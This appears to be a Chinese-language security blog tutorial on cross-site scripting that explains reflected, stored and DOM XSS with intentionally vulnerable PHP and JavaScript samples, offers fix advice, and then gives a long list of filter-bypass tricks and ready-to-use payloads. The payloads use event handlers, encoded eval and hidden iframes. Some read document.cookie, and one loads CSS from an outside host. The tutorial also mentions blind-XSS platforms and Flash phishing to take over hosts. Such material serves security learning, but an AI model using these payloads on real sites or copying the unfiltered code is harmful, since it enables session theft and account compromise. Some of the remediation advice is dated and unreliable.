跨站脚本攻击(XSS)

XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么很可能就存在XSS漏洞。文章讲会从代码层面讲解XSS还有一些Payload。

0x00概述

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找未过滤的输出函数。只要输出函数可控结合一些绕过手法即可达到xss攻击的目的。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

0x01 XSS类型

反射型XSS:一般存在于链接之中或者请求之中可以实现自我攻击也就是self-xss也可以欺骗用户去点击 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容他只存在GET请求的url链接中或者POST的http数据包中 当请求数据发生改变的时候对应的页面也会发生改变),一般容易出现在搜索页面。

存储型XSS:代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

0x02 从代码层面理解xss原理

反射型XSS

在黑盒测试中,这种类型比较容易通过漏扫直接发现,我们只需要按照扫描结果进行相应的验证就可以了。

相对的在白盒审计中, 我们首先要寻找带参数的输出函数,接下来通过输出内容回溯到输入参数,观察是否过滤即可。

接下来我们拿PHPecho函数举例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//xss.php文件
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>反射型XSS</title>
</head>
<body>
<form action="" method="get">
<span>情输入你的名字:</span><input type="text" name="user">
<input type="submit">
</form>
<br>
<?php
$username = $_GET['user'];
echo '你的名字为:<br>'.$username;
?>
</body>
</html>

html

从代码中也可以看到对user的输入没有做任何过滤直接打印在页面上 下面试一下弹窗

html

我们可以看到浏览器的页面已经成功的解析了js代码 当然光弹框不够的 需要构造js读取一些敏感数据 js能做的事情还是比较多的。

储存型xss

和反射性XSS的即时响应相比,存储型XSS则需要先把利用代码保存在比如数据库或文件中(一般文章名字用户名信息之类的),当web程序读取利用代码时再输出在页面上执行利用代码。但存储型XSS不用考虑绕过浏览器的过滤问题,屏蔽性也要好很多。

html

存储型XSS的白盒审计同样要寻找未过滤的输入点和未过滤的输出函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> 
<html>
<head>
<title>储存型XSS</title>
</head>
<body>
<h2>用户注册<h2>
<br>
<form action="xss.php" method="post">
账号:<textarea id='user' name="user"></textarea>
<br/>
密码:<textarea id='pass' name="pass"></textarea>
<input type="submit" value="注册"/>
</form>
<?php
if(isset($_POST['user'])&&isset($_POST['pass'])){
$file=fopen("user.txt","a"); //打开文件只写
fwrite($file,$_POST['user']."\r\n"); //写数据
fwrite($file,$_POST['pass']."\r\n"); //写数据
fclose($file); //关闭文件流
}

if(file_exists("user.txt")){ //判断文件是否存在
$read= fopen("user.txt",'r'); //打开文件只读
while(!feof($read)){
echo fgets($read)."</br>"; //循环写到页面
}
fclose($read); //关闭文件流
}
?>
</html></span>
</body>

首先我们注册一下测试功能

html

注册功能正常并且可以正常显示出来

我面我们输入js代码看看页面会有什么反应 payload:<script>alert(melon)</script>

html

html

我们可以看到文件中的内容已经写进了js代码 而且是持久化的 无论我们的访问链接中带不带恶意的参数这个js别的用户都会执行,这就是所谓的存储型XSS漏洞,一次提交之后,每当有用户访问这个页面都会受到XSS攻击,危害巨大。

DOM型XSS

不做任何过滤跳转

在很多场景下,业务需要实现页面跳转,常见的使用,location.href() location.replace() location.assign()这些方法通过Javascript实现跳转。我们第一时间可能想到的是限制不严导致任意URL跳转漏洞,而DOM XSS与此似乎“八竿子打不着”,实际上跳转部分参数可控,可能导致Dom xss。

举一个简单的例子:

1
2
3
4
5
6
7
<script>
var hash = location.hash;
if(hash){
var url = hash.substring(1); //#为第0个字符 截取后为javascript:alert(1) 然后浏览器跳转实现xss
location.href = url;
}
</script>

html

解析:变量hash为可控部分,并带入url中,变量hash控制的是#之后的部分,那么可以使用伪协议#javascript:alert

html

data伪协议也是可以的

使用indexOf判断URL参数是否合法

先放上代码:

1
2
3
4
5
6
7
8
<script>
var melon = location.search.slice(1); // 截取url中?之后的部分
if(melon.indexOf("url=") > -1 && melon.indexOf("http") > -1){ // 判断melon中是否有url=和http关键字
var pos = melon.indexOf("url=")+4;
url = melon.slice(pos,melon.length); //从第五个开始也就是等号开始截取到最后
location.href = url // 跳转
}
</script>

payload:?url=javascript:alert(1)//http

html

这样是由于过滤不严格导致的 因该把url=后的以http或者https写死 上面的写法只是存在http即可 //相当于注释掉了但是确实存在http所以绕过了

XSS大都是大同小异 对用户的过分相信输入导致了漏洞的出现

0x03修复建议

1、防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句

不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把htmltag弄出来。这一个层面做好,至少可以堵住超过一半的XSS攻击。

2、cookie防盗

首先避免直接在cookie中泄露用户隐私,例如email、密码等等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,不可能拿来重放。

3、尽量采用POST而非GET提交表单

POST操作不可能绕开javascript的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。

4、严格检查refer

检查httprefer是否来自预料中的url。这可以阻止第2类攻击手法发起的http请求,也能防止大部分第1类攻击手法,除非正好在特权操作的引用页上种了跨站访问。

5、将单步流程改为多步,在多步流程中引入效验码

多步流程中每一步都产生一个验讠正码作为hidden表单元素嵌在中间页面,下一步操作时这个验讠正码被提交到服务器,服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2类攻击中是几乎无法做到的。

6、引入用户交互

简单的一个看图识数可以堵住几乎所有的非预期特权操作。

7、只在允许anonymous访问的地方使用动态的javascript。

8、对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。

9、内部管理网站的问题

很多时候,内部网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力,需要多加注意。

虽然XSS的攻击很灵活,只要我们能做好上述几点,是可以组织大部分XSS的,再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。

0x04关于XSS的一些绕过

改变大小写

在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则:

比如:<script>alert(“xss”);</script>可以转换为:<ScRipt>ALeRt(“XSS”);</sCRipT>

关闭标签

有时候我们需要关闭标签来使我们的XSS生效。

比如:"><script>alert("xss");</script>

使用hex编码绕过

我们可以对我们的语句进行hex编码来绕过XSS规则

比如:<script>alert("xss");</script>可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

绕过magic_quotes_gpc

magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如
'(单引号)转换为\',"(双引号)转换为\",\转换为\\

比如:<script>alert("xss");</script>会转换为<script>alert(\"xss\");</script>,这样我们的xss就不生效了。

针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)那么我们的XSS语句就变成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59)</script>

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

最后使用<script>转换后的放到这里</script>包含即可。

利用<>标记注射Html/Javascript

如果用户能随心所欲引入<>标记,那他就能操作HTML标记,然后就能通过<script>标签插入JS恶意脚本了,例如:

<script>alert('XSS');</script>

当然如果对”<>”和script等进行了过滤,上面这个就无法执行了

利用HTML标签属性值执行XSS

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机,例如:

<img src = "javascript:alert('xss');">

这里即便对传入的参数过滤了<>,XSS还是能发生(前提是该标签属性需要引用文件)

空格/回车/Tab

假设过滤函数进一步又过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过,例如:

 <img src= "java  script:alert('xss');" width=100>

这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

而如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。

<img src= "javascript: alert(/xss/); width=100> 同样能绕过

对标签属性值进行转码

过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

常见的编码方式有:HTML实体编码(&#ASCII),十进制、十六进制、八进制编码,unicode编码及escape编码及使用String.fromCharCode(…)绕过

因此<img src= "javascript&#116&#alert(/xss/);">可以实现绕过

另外还可以把&#01、&#02、&#09等字符插入代码的头部或任意地方

产生自己的事件

如果不能依靠属性进行跨站,那么还可以利用事件处理函数

<input type = "button" value = "clickme" οnclick="alert('click me')" />

事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数

利用CSS跨站剖析

之所以说CSS样式表是个很不错的载体,是因为CSS不需要嵌入到HTML代码中,可以直接从文件或其他地方进行引用. 另外CSS同样隐蔽、灵活,不过不同

浏览器之间不能通用,如:

1
2
3
4
<div style = "list-style-image:url(javascript:alert(‘xSS‘))">
<link rel = "stylesheet" href ="http://www.xxx.com/atack.css">
<style type=‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>
<style>@import ‘javascript:alert(‘xss‘);‘</style>

绕过过滤规则

大小写混用:<iMgSRC = "JavaScript:alert(0);">

不使用引号或者构造全角字符也能扰乱过滤规则

还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

<img src ="java/*javascript:alert('xss')*/script:alert(1);">

充分利用字符编码

上面说到过编码,这里加以补充,除了像&#ASCII,其实也可以采用&#0、&#00、&#000等形式,同样&#x6a的形式也是可以的

<script>eval("\61\6c\65......");<script>

如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用

拆分跨站法

拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:

1
2
3
<script>z=‘document.‘</script>
<script>z=+'write'("''</script>
<script>z=z+''<script'</script>

……

<script>eval(z)</script>
另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过长度限制了

0x05 一些Payload

这里放一些由事件触发的payload 自己拿这些事件做了下实验还是挺好玩的

FUZZ思路就是选弹框不一样payload直接全放进去一般指富文本编辑器或者留言框 其他的就用爆破把 注意线程就好了

还有要强力推荐一下BlueLotus_XSS平台 dockerfile很方便 平台很好用 里面有一部分payload模板也可以自己去写一些模板然后生成js文件

一些网上也提供xss平台 他们有大量的payload而且服务器是一直开着的对我们盲打xss有很大的优势

还有一个flash钓鱼 伪造flash页面一些管理员安全意识不强会进入钓鱼页面 下载我们伪造的文件 直接上线主机 远控一般用CS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
其实所有经过Unicode编码的payload都不需要双引号和分号就可以执行 而转化为ascii转化为十六进制后就不行

引号过滤绕过
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41))</script>

img标签
<img STYLE="background-image:url(javascript:alert('CSS'))"> //版本,E7.0|IE6.0,才能执行
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> //版本,E7.0|IE6.0,才能执行
<img src=javascript:alert('xss')>//版本,E7.0|IE6.0,才能执行
<img src=x onerror=alert('xss')> //全版本通用
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"> //可以不加"和;
<img src="x" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> //必须要有双引号,不然执行不了
<img src="https://melons.top/images/hexo-inverted.svg" onload=alert('xss')> //当src为正常图片加载出来的时候会加载onload属性
<img src="x" onmousedown=alert('xss')> //点击图片触发
<img src="x" onmousemove=alert('xss') style="width:100%;height:100%;"> //鼠标在图片上移动触发
<img src=1 onmouseover=alert('xss') style="width:100%;height:100%;"> //鼠标进入图片触发
<img src=1 onmouseout=alert('xss')> //鼠标离开图片触发
<img src=1 onmouseup=alert('xss') style="width:100%;height:100%;"> //在图片上释放鼠标事件执行 点击一下两个事件 获取 释放 后者事件满足则触发
<img src=1 onmousewheel=alert('xss') style="width:100%;height:100%;"> //在图片上滚动 可以使用style写css覆盖当前页面

video标签下
<video src="https://melons.top//images/ocean/ocean.mp4" oncanplay=alert(1)> //当文件就绪可以开始播放时运行的脚本
<video src="https://melons.top//images/ocean/ocean.mp4" ondurationchange=alert(2)> //当媒介长度改变时运行的脚本。
<video src="x" onerror=alert(2)>
<video src="https://melons.top//images/ocean/ocean.mp4" onloadeddata=alert(2)> //当媒介数据已加载时运行的脚本
<video src="https://melons.top//images/ocean/ocean.mp4" onloadedmetadata=alert(2)> //当元数据(比如分辨率和时长)被加载时运行的脚本
<video src="https://melons.top//images/ocean/ocean.mp4" onloadstart=alert(123)> //当媒介数据开始加载时运行的脚本

a标签下
<a href="javascript:alert('a标签xss')">a标签xss</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>a标签xss2</a> //不可以去双引号
<a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>a标签xss3</a> //可以去双引号
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">a标签xss4</a> //可以去双引号
<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //无反应 但在地址栏中输入base64会弹框会弹窗
<a href="" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">aaaaa</a> //可以去掉双引号
<a href="" onclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a>
<a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a>

input标签下
<input value="" onclick="alert(document.cookie)" type="text"> //点击输入框时触发
<INPUT name="name" value=""><script>alert(123)</script>
<input type="text" name="name" onmouseover=prompt(document.cookie) style="width:100%;height:100%;">

span标签下
<span id="span" recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span> //alt+shift+x 触发 感觉很鸡肋

iframe标签下
<iframe src=javascript:alert('xss'); height=0 width=0 style="border:0px;"/><iframe> //设置好css可以完美隐藏
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=" height=0 width=0 style="border:0px;"/></iframe>
<iframe src="data:text/html,&lt;script&gt;alert`1`&lt;/script&gt;" height=0 width=0 style="border:0px;"/></iframe>
<iframe src="http://www.baidu.com" onmouseover=alert('xss') height=100%0 width=100% style="border:0px;position: absolute;top:0px;left:0px;"/><iframe> //css使用绝对定位覆盖全部撑开
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;;" frameborder="0" width="100%" height="1120px"></iframe>